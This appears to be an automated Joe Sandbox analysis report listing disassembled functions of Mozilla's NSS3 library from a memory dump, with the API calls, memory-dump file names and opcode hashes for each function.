Part of subcall function 6C5D57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C5D5843

CERT_DestroyCertList.NSS3(?), ref: 6C5BAD36

Part of subcall function 6C592F50: CERT_DestroyCertificate.NSS3(?), ref: 6C592F65
Part of subcall function 6C592F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C592F83

free.MOZGLUE(?), ref: 6C5BAD4F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 536e466e82e4ab22026e88fd8c1af83c379ecf43938ed58c980bee104f6458ce
Instruction ID: 45219abd41dabfea225661a13699c389e17a2a38bb780adb25491d85d6a49335
Opcode Fuzzy Hash: 536e466e82e4ab22026e88fd8c1af83c379ecf43938ed58c980bee104f6458ce
Instruction Fuzzy Hash: 1221D1B2D002049BEB10DF68DC554EEBBB4EF46208F454068D8057B600EB31AE59CBA6

Function 6C5E3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5E3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C5E3CAE
PR_Unlock.NSS3(?), ref: 6C5E3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C5E3D02

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 6b86e07cc49c472505eeaca7f31305d19498e2e9290cd7c4c3e23a9465556c9a
Instruction ID: 2aaf834ad466aa9fbf7fce0c8b8ec4fcdc67c536677b849572d20ed9f3bbfda8
Opcode Fuzzy Hash: 6b86e07cc49c472505eeaca7f31305d19498e2e9290cd7c4c3e23a9465556c9a
Instruction Fuzzy Hash: F4110679A00214AFDB00EF24EC84A9A3BB8EF49368F055561EC0987722D730ED40CBE5

Function 6C5EECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C5EF0AD,6C5EF150,?,6C5EF150,?,?,?), ref: 6C5EECBA

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C5EECD1

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C5EED02

Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C5EED5A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 5ef909d4848af2e6640a7c523c9f3870fcba59cd6a691d8e737604b962bb3329
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4221D4B19107429BE704CF25DE44B52B7E4BFE9308F15C219E81C87661E7B0E995CAD0

Function 6C61EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C607FFA,?,6C609767,?,8B7874C0,0000A48E), ref: 6C61EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C607FFA,?,6C609767,?,8B7874C0,0000A48E), ref: 6C61EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C607FFA,?,6C609767,?,8B7874C0,0000A48E), ref: 6C61EE14

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

memcpy.VCRUNTIME140(?,?,6C609767,00000000,00000000,6C607FFA,?,6C609767,?,8B7874C0,0000A48E), ref: 6C61EE33

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 44804492efd6193ac717dd93f5077d1750fd20e4a3e68e8a683d06e8d1a408ce
Instruction ID: abb23f0ff4a84556479f10ca38934e40b7b98afbacf8d7de52064c4d4f5299df
Opcode Fuzzy Hash: 44804492efd6193ac717dd93f5077d1750fd20e4a3e68e8a683d06e8d1a408ce
Instruction Fuzzy Hash: 8C110A71A08717ABD7109E69DC88B46B3A8FF0035EF104531E919C2E40E330F465CBE9

Function 6C59DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B06A0: TlsGetValue.KERNEL32 ref: 6C5B06C2
Part of subcall function 6C5B06A0: EnterCriticalSection.KERNEL32(?), ref: 6C5B06D6
Part of subcall function 6C5B06A0: PR_Unlock.NSS3 ref: 6C5B06EB

CERT_NewCertList.NSS3 ref: 6C59DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C59DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C59DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C59E029

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 16eed3bd876c29cead0274c95dfd522cb3ca0571f7df40369d2a57154ddb5175
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: CF116B71A04246EBDB108EA85C00BAB76B8FBC035CF0409B4E81CD7B00F7B2DC1492E1

Function 6C5B8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5B8DE7
EnterCriticalSection.KERNEL32 ref: 6C5B8DFC
PR_Unlock.NSS3 ref: 6C5B8E2D
PR_SetError.NSS3 ref: 6C5B8E49

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 53050a3cc40a87e2a113a2c5e9eccf82f37d89e72d2036786328a834248511d4
Instruction ID: b142674a873a55768b5c04616cbd276b437a39466495f66d05724dc00ad7fd53
Opcode Fuzzy Hash: 53050a3cc40a87e2a113a2c5e9eccf82f37d89e72d2036786328a834248511d4
Instruction Fuzzy Hash: AC118C75609A119FD700AF78D9881AABBF4FF45314F01592AEC89D7B00EB30E894CBD6

Function 6C63AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C625F17,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C63AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C625F17,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C63ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C63ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C62AAD4), ref: 6C63ACDB

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 6edd06bac1970e7123fbb0c5790f2be5795b597086c3e674b83ab113ac971c31
Instruction ID: 7368bfc9dab00221b174241aa2e19c60461809cf0c696998683861a1457ce1d8
Opcode Fuzzy Hash: 6edd06bac1970e7123fbb0c5790f2be5795b597086c3e674b83ab113ac971c31
Instruction Fuzzy Hash: E5019EB1601B219BEB50DF6AE908743B7E8BF44759B005839D85EC3E00E731F414CB94

Function 6C5A1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C5A1DFB

Part of subcall function 6C5995B0: TlsGetValue.KERNEL32(00000000,?,6C5B00D2,00000000), ref: 6C5995D2
Part of subcall function 6C5995B0: EnterCriticalSection.KERNEL32(?,?,?,6C5B00D2,00000000), ref: 6C5995E7
Part of subcall function 6C5995B0: PR_Unlock.NSS3(?,?,?,?,6C5B00D2,00000000), ref: 6C599605

PR_EnterMonitor.NSS3 ref: 6C5A1E09

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

Part of subcall function 6C59E190: PR_EnterMonitor.NSS3(?,?,6C59E175), ref: 6C59E19C
Part of subcall function 6C59E190: PR_EnterMonitor.NSS3(6C59E175), ref: 6C59E1AA
Part of subcall function 6C59E190: PR_ExitMonitor.NSS3 ref: 6C59E208
Part of subcall function 6C59E190: PL_HashTableRemove.NSS3(?), ref: 6C59E219
Part of subcall function 6C59E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C59E231
Part of subcall function 6C59E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C59E249
Part of subcall function 6C59E190: PR_ExitMonitor.NSS3 ref: 6C59E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A1E37
PR_ExitMonitor.NSS3 ref: 6C5A1E4A

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: f687551c49f0f1fe69d7c2761f8fac594f41795de8badc9f7ec6aaffcac83ca8
Instruction ID: 3192a67f5f81610b5524c319276f3266344f9858a7eb99664446c16b66b67b9b
Opcode Fuzzy Hash: f687551c49f0f1fe69d7c2761f8fac594f41795de8badc9f7ec6aaffcac83ca8
Instruction Fuzzy Hash: 0501DBB1B001A0D7EB009BA7EC40F5B7BB5AB4275CF204035E5299BB51E771E816CBD9

Function 6C5A1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5A1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C5A1D9C
free.MOZGLUE(00000000), ref: 6C5A1DB8

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 536b4517a70857a72f58fb91fba1bca072e2591a903125073da7ac7c595bc047
Instruction ID: 6114e35f9ef678917c9b17b88c10787d3e8da1965b319dabc5b345e3357b3fb3
Opcode Fuzzy Hash: 536b4517a70857a72f58fb91fba1bca072e2591a903125073da7ac7c595bc047
Instruction Fuzzy Hash: 8CF049B6645210D7FB105F9B6C41B4B3A489BC1788F100636ED2D87B00DA30E80687E1

Function 6C5EFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C599003,?), ref: 6C5EFD91

Part of subcall function 6C5F0BE0: malloc.MOZGLUE(6C5E8D2D,?,00000000,?), ref: 6C5F0BF8
Part of subcall function 6C5F0BE0: TlsGetValue.KERNEL32(6C5E8D2D,?,00000000,?), ref: 6C5F0C15

PORT_Alloc_Util.NSS3(A4686C5F,?), ref: 6C5EFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C5F,?,?), ref: 6C5EFDC4
free.MOZGLUE(00000000,?,?), ref: 6C5EFDD1

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 7c502093642f7710ec2c4a2a583ffdfb4650bab79983b651fee4f62971c4a050
Instruction ID: 96b8637cf7cc03fe0267c3454834c4b45642906dfcac743064ff6305a7280f68
Opcode Fuzzy Hash: 7c502093642f7710ec2c4a2a583ffdfb4650bab79983b651fee4f62971c4a050
Instruction Fuzzy Hash: 8AF0FCF1601202ABEB004F55FD809577F58EFC9299F148235ED198BB01EB22DC15C7E1

Function 6C6ACC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C6ACC61
free.MOZGLUE ref: 6C6ACC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C6ACC80
free.MOZGLUE(?), ref: 6C6ACC87

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b3c21c9973d836acb09f6da7ec32c966ca00e44f79cce2f81a26d72e8bfd03cb
Instruction ID: 9b471355b8efb0d21a81da6001f670895551ebc1b71e82d88dd3735d0077a55d
Opcode Fuzzy Hash: b3c21c9973d836acb09f6da7ec32c966ca00e44f79cce2f81a26d72e8bfd03cb
Instruction Fuzzy Hash: 3BE03076704619ABCB10EFA9DC84C867BACEE4D2707150526E692C3700D232F905CBA5

Function 6C589DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C589E1F

Part of subcall function 6C5413C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C512352,?,00000000,?,?), ref: 6C541413
Part of subcall function 6C5413C0: memcpy.VCRUNTIME140(00000000,R#Ql,00000002,?,?,?,?,6C512352,?,00000000,?,?), ref: 6C5414C0

Strings

ESCAPE expression must be a single character, xrefs: 6C589F78
LIKE or GLOB pattern too complex, xrefs: 6C58A006

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: d708ce25db4018bd108a2d62c91e80ef5356062f37793a75a4216866e5dc721c
Instruction ID: bd6f9ccda080b1acf24dd89e887333718a19d224dee38f5b82bd5d7e50e4a915
Opcode Fuzzy Hash: d708ce25db4018bd108a2d62c91e80ef5356062f37793a75a4216866e5dc721c
Instruction Fuzzy Hash: 50812D70A062758BD705CF25C8803A9BBF2AF85318F288659D8A59BBC1D735D846C791

Function 6C5E4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C5E4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C5E4DE6

Strings

%d.%d, xrefs: 6C5E4DDE

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 0c32dc63054e2111e0f61c98dc49613c71e40178cc6b0a64964f21ce33c4cbf4
Instruction ID: 95427a746ad75115733064031097315b59225e41fff54204cac96aa567f6ab55
Opcode Fuzzy Hash: 0c32dc63054e2111e0f61c98dc49613c71e40178cc6b0a64964f21ce33c4cbf4
Instruction Fuzzy Hash: ED31FCB2E042186BEB109BA59C05BFF7768EF85308F050469ED159B782EB309D05CBA6

Function 6C604CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8`l,00000000,00000000,?,?,6C603827,?,00000000), ref: 6C604D0A

Part of subcall function 6C5F0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C604D22

Part of subcall function 6C5EFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C591A3E,00000048,00000054), ref: 6C5EFD56

Strings

'8`l, xrefs: 6C604D07

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8`l
API String ID: 1521942269-388020839
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: d7254e22fd83cd2b6de50e1c0a61bfdd057546432e7b5a1c5f1fb5608fa6e92c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: B3F0683270112457DB644E6AAE4075336DC9B957BDF140271DD28DB7C1E6A1CC01C695

Function 6C62AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C62AF78

Part of subcall function 6C58ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58ACE2
Part of subcall function 6C58ACC0: malloc.MOZGLUE(00000001), ref: 6C58ACEC
Part of subcall function 6C58ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C58AD02
